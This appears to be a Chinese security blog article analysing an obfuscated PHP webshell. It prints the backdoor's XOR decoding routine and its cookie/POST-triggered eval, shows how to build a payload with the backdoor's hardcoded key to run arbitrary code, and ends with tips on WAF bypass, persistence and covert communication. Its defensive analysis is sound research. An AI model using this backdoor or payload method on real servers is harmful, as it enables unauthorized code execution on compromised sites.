记一次对php猥琐马的爆菊分析(上)
字数 1614 2025-08-15 21:32:16

PHP后门代码分析与利用技术详解

一、后门代码概述

这是一个经过高度混淆的PHP后门程序,具有以下特点:

  • 使用注释和空白字符隐藏真实代码
  • 采用多重编码和混淆技术
  • 通过COOKIE或POST参数触发
  • 最终执行任意PHP代码

二、代码结构分析

1. 初始化部分

$da59aa5 = 208;
$GLOBALS['w8fd00d8'] = Array();
global $w8fd00d8;
$w8fd00d8 = $GLOBALS;
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "长混淆字符串";
  • 使用$GLOBALS全局变量数组进行数据存储
  • 变量名采用16进制编码混淆(如\x47\x4c\x4fB\x41\x4c\x53解码为GLOBALS

2. 环境设置

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
  • 关闭错误日志
  • 取消执行时间限制
  • 使用@抑制错误显示

3. 核心功能函数

加密函数 e664fd

function e664fd($vv, $kk){
    global $w8fd00d8;
    $n513761 = "";
    for ($i=0;$i<strlen($vv);){
        for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){
            $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p]));
        }
    }
    return $n513761;
}
  • 实现逐字符异或(XOR)加密
  • 使用两个参数进行双重混淆
  • 异或加密特性:A ^ B = C,则B ^ C = A(可逆)

主处理函数 x184f5cc

function x184f5cc($vv, $kk){
    global $w8fd00d8;
    global $c77700426;
    return e664fd(e664fd($vv, $c77700426), $kk);
}
  • 双重异或加密处理
  • 使用固定密钥$c77700426(值为aec7e489-2fbc-4b15-871f-1d686eeb80dc

三、触发机制分析

1. 参数获取

foreach ($_COOKIE as $k=>$v){
    $vv = $v;
    $kk = $k;
}
if (!$vv){
    foreach ($_POST as $k=>$v){
        $vv = $v;
        $kk = $k;
    }
}
  • 优先从COOKIE获取参数,失败则从POST获取
  • $kk为参数名,$vv为参数值

2. 数据处理流程

$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
  1. $vv进行Base64解码
  2. 使用x184f5cc函数处理(双重异或解密)
  3. 反序列化处理结果

3. 执行条件

if (isset($vv['ak']) && $c77700426==$vv['ak']){
    if ($vv['a'] == 'i'){
        // 返回版本信息
    } elseif ($vv['a'] == 'e'){
        eval/*r49557ec*/($vv['d']);
        exit();
    }
}
  • 必须包含ak字段且值等于aec7e489-2fbc-4b15-871f-1d686eeb80dc
  • a字段值为i时返回版本信息,为e时执行d字段中的代码

四、利用方法

1. 构造有效载荷

需要构造如下结构的数组:

$payload = array(
    'ak' => 'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
    'a' => 'e',
    'd' => '要执行的PHP代码'
);

2. 加密处理流程

  1. 序列化payload:$serialized = serialize($payload);
  2. 第一次异或加密:$temp = e664fd($serialized, $kk);(使用参数名$kk作为密钥)
  3. 第二次异或加密:$encrypted = e664fd($temp, $c77700426);(使用固定密钥)
  4. Base64编码:$final = base64_encode($encrypted);

3. 实际利用示例

假设参数名为cmd,要执行phpinfo();

  1. 构造原始数组:

    $payload = array(
        'ak' => 'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
        'a' => 'e',
        'd' => 'phpinfo();'
    );
    
  2. 序列化:

    $serialized = serialize($payload);
    // 结果:a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
    
  3. 双重异或加密(伪代码):

    $temp = xor_strings($serialized, 'cmd');
    $encrypted = xor_strings($temp, 'aec7e489-2fbc-4b15-871f-1d686eeb80dc');
    
  4. Base64编码后作为COOKIE或POST参数提交

五、技术要点总结

  1. 混淆技术

    • 使用16进制编码变量名
    • 在函数名和括号间插入注释(如eval/*注释*/(...)
    • 使用全局变量存储关键数据
  2. 加密方式

    • 双重异或加密确保安全性
    • 结合Base64编码便于传输
    • 使用固定密钥和动态密钥组合
  3. 触发机制

    • 支持COOKIE和POST两种方式
    • 严格的参数校验机制
    • 模块化设计(信息获取与代码执行分离)
  4. 反检测技术

    • 禁用错误日志
    • 字符串拼接绕过简单特征检测
    • 非常规函数调用方式

六、防御建议

  1. 代码审计

    • 检查文件中异常的空白字符和注释
    • 查找evalassert等危险函数
    • 注意非常规的全局变量使用
  2. 服务器配置

    • 禁用危险函数(evalassert等)
    • 启用严格的文件上传限制
    • 定期检查服务器文件完整性
  3. 监控措施

    • 监控异常的文件修改
    • 记录可疑的HTTP请求
    • 使用Web应用防火墙(WAF)
  4. 开发规范

    • 禁止执行动态代码
    • 使用安全的反序列化方法
    • 实施严格的输入验证

七、高级利用技巧

  1. 自动化利用工具

    • 编写脚本自动生成有效载荷
    • 实现批量检测和目标识别
  2. 绕过限制

    • 对于执行代码长度限制,可以分段执行
    • 使用编码技术绕过WAF检测
  3. 持久化技术

    • 结合文件写入功能实现持久化
    • 通过数据库存储后门代码
  4. 隐蔽通信

    • 使用加密通信信道
    • 伪装成正常业务请求
    • 采用时间延迟等技术规避检测

通过深入理解此类后门的工作原理,安全研究人员可以更好地检测和防御此类威胁,同时也能在授权测试中有效利用这些技术。

PHP后门代码分析与利用技术详解 一、后门代码概述 这是一个经过高度混淆的PHP后门程序,具有以下特点: 使用注释和空白字符隐藏真实代码 采用多重编码和混淆技术 通过COOKIE或POST参数触发 最终执行任意PHP代码 二、代码结构分析 1. 初始化部分 使用 $GLOBALS 全局变量数组进行数据存储 变量名采用16进制编码混淆(如 \x47\x4c\x4fB\x41\x4c\x53 解码为 GLOBALS ) 2. 环境设置 关闭错误日志 取消执行时间限制 使用 @ 抑制错误显示 3. 核心功能函数 加密函数 e664fd 实现逐字符异或(XOR)加密 使用两个参数进行双重混淆 异或加密特性: A ^ B = C ,则 B ^ C = A (可逆) 主处理函数 x184f5cc 双重异或加密处理 使用固定密钥 $c77700426 (值为 aec7e489-2fbc-4b15-871f-1d686eeb80dc ) 三、触发机制分析 1. 参数获取 优先从COOKIE获取参数,失败则从POST获取 $kk 为参数名, $vv 为参数值 2. 数据处理流程 对 $vv 进行Base64解码 使用 x184f5cc 函数处理(双重异或解密) 反序列化处理结果 3. 执行条件 必须包含 ak 字段且值等于 aec7e489-2fbc-4b15-871f-1d686eeb80dc a 字段值为 i 时返回版本信息,为 e 时执行 d 字段中的代码 四、利用方法 1. 构造有效载荷 需要构造如下结构的数组: 2. 加密处理流程 序列化payload: $serialized = serialize($payload); 第一次异或加密: $temp = e664fd($serialized, $kk); (使用参数名 $kk 作为密钥) 第二次异或加密: $encrypted = e664fd($temp, $c77700426); (使用固定密钥) Base64编码: $final = base64_encode($encrypted); 3. 实际利用示例 假设参数名为 cmd ,要执行 phpinfo(); : 构造原始数组: 序列化: 双重异或加密(伪代码): Base64编码后作为COOKIE或POST参数提交 五、技术要点总结 混淆技术 : 使用16进制编码变量名 在函数名和括号间插入注释(如 eval/*注释*/(...) ) 使用全局变量存储关键数据 加密方式 : 双重异或加密确保安全性 结合Base64编码便于传输 使用固定密钥和动态密钥组合 触发机制 : 支持COOKIE和POST两种方式 严格的参数校验机制 模块化设计(信息获取与代码执行分离) 反检测技术 : 禁用错误日志 字符串拼接绕过简单特征检测 非常规函数调用方式 六、防御建议 代码审计 : 检查文件中异常的空白字符和注释 查找 eval 、 assert 等危险函数 注意非常规的全局变量使用 服务器配置 : 禁用危险函数( eval 、 assert 等) 启用严格的文件上传限制 定期检查服务器文件完整性 监控措施 : 监控异常的文件修改 记录可疑的HTTP请求 使用Web应用防火墙(WAF) 开发规范 : 禁止执行动态代码 使用安全的反序列化方法 实施严格的输入验证 七、高级利用技巧 自动化利用工具 : 编写脚本自动生成有效载荷 实现批量检测和目标识别 绕过限制 : 对于执行代码长度限制,可以分段执行 使用编码技术绕过WAF检测 持久化技术 : 结合文件写入功能实现持久化 通过数据库存储后门代码 隐蔽通信 : 使用加密通信信道 伪装成正常业务请求 采用时间延迟等技术规避检测 通过深入理解此类后门的工作原理,安全研究人员可以更好地检测和防御此类威胁,同时也能在授权测试中有效利用这些技术。